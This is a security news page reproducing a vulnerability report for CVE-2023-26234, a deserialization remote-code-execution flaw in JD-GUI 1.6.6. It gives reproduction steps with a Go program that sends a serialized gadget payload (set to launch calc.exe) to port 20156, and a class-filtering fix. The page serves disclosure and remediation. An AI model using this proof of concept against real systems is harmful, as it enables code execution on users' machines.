Security
Headlines
HeadlinesLatestCVEs

Headline

CVE-2023-26234: [Security] RCE Vulnerability in JD-GUI · Issue #415 · java-decompiler/jd-gui

JD-GUI 1.6.6 allows deserialization via UIMainWindowPreferencesProvider.singleInstance.

CVE
#vulnerability#git#java#rce

RCE Vulnerability in JD-GUI

Description: When user open UIMainWindowPreferencesProvider.singleInstance config and use JDK 8u20/7u21, there will be an RCE vulnerability through deserialization on port 20156.

CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H (Moderate 6.6)

How to reproduce:

(1) Use single instance config in jd-gui.cfg

<preferences> <JdGuiPreferences.errorBackgroundColor>0xFF6666</JdGuiPreferences.errorBackgroundColor> <JdGuiPreferences.jdCoreVersion>1.1.3</JdGuiPreferences.jdCoreVersion> <UIMainWindowPreferencesProvider.singleInstance>true</UIMainWindowPreferencesProvider.singleInstance> </preferences>

(2) Start jd-gui using JDK 8u20

“C:\Program Files\Java\jdk1.8.0_20\bin\java.exe” -jar jd-gui-1.6.6.jar

(3) Make JDK 8u20 payload

https://github.com/pwntester/JRE8u20_RCE_Gadget

Modify the cmd in ExploitGenerator#main

String command = "calc.exe";

Run ExploitGenerator#main to generate payload (exploit.ser)

(4) Send binary data to 20156 port

package main

import ( “fmt” “net” “os” )

func main() { payload, _ := os.ReadFile(“exploit.ser”) conn, err := net.Dial("tcp", “127.0.0.1:20156”) _, err = conn.Write(payload) buf := make([]byte, 1024*10) _, err = conn.Read(buf) if err != nil { fmt.Println(err) } }

(5) RCE

Screenshot:

(6) Fix

Use resolveClass method, only support String[]

/* * Copyright © 2008-2019 Emmanuel Dupuy. * This project is distributed under the GPLv3 license. * This is a Copyleft license that gives the user the right to use, * copy and modify the code freely for non-commercial purposes. */

package org.jd.gui.util.net;

import org.jd.gui.util.exception.ExceptionUtil;

import java.io.*; import java.net.InetAddress; import java.net.ServerSocket; import java.net.Socket; import java.util.function.Consumer;

public class InterProcessCommunicationUtil {

static class FilterObjectInputStream extends ObjectInputStream {

    public FilterObjectInputStream(InputStream in) throws IOException {
        super(in);
    }

    @Override
    protected Class<?> resolveClass(final ObjectStreamClass classDesc) throws IOException, ClassNotFoundException {
        if (classDesc.getName().equals("\[Ljava.lang.String;")) {
            return super.resolveClass(classDesc);
        }
        throw new RuntimeException(String.format("not support class: %s",classDesc.getName()));
    }
}

protected static final int PORT = 2015\_6;

public static void listen(final Consumer<String\[\]> consumer) throws Exception {
    final ServerSocket listener = new ServerSocket(PORT);

    Runnable runnable = new Runnable() {
        @Override
        public void run() {
            while (true) {
                try (Socket socket = listener.accept();
                     ObjectInputStream ois = new FilterObjectInputStream(socket.getInputStream())) {
                    // Receive args from another JD-GUI instance
                    String\[\] args = (String\[\])ois.readObject();
                    consumer.accept(args);
                } catch (IOException|ClassNotFoundException e) {
                    assert ExceptionUtil.printStackTrace(e);
                }
            }
        }
    };

    new Thread(runnable).start();
}

public static void send(String\[\] args) {
    try (Socket socket = new Socket(InetAddress.getLocalHost(), PORT);
         ObjectOutputStream oos = new ObjectOutputStream(socket.getOutputStream())) {
        // Send args to the main JD-GUI instance
        oos.writeObject(args);
    } catch (IOException e) {
        assert ExceptionUtil.printStackTrace(e);
    }
}

}

Screenshot:

CVE: Latest News

CVE-2023-50976: Transactions API Authorization by oleiman · Pull Request #14969 · redpanda-data/redpanda